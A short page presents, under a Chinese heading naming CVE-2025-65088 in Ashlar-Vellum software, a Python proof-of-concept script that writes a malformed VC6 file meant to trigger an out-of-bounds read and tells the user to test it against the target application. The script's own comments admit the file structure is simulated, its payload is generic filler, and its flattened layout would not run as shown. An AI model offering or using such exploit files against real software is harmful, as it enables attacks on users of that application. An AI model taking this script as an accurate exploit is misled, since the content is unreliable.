CVE-2025-65088 Ashlar-Vellum越界读取漏洞

import struct # PoC for CVE-2025-65088 # This script generates a malformed VC6 file designed to trigger # an Out-of-Bounds Read vulnerability in Ashlar-Vellum products. filename = "exploit_CVE-2025-65088.vc6" # Constructing the malicious payload # Note: VC6 file format is proprietary, this is a simulated structure # demonstrating the concept of triggering the OOB read via a crafted header. # Generic header often found in such files (simulated) header = b"VC6_FILE_HEADER" + b"\x00" * 20 # Malicious section intended to cause OOB read # We inject a large size value or pointer that the parser fails to validate malicious_offset = struct.pack('<I', 0xDEADBEEF) # Invalid offset overflow_data = b"A" * 500 # Padding to reach the vulnerable parser state payload = header + malicious_offset + overflow_data with open(filename, "wb") as f: f.write(payload) print(f"[+] Malicious file {filename} created successfully.") print("[+] Use this file to test the vulnerability against the target application.")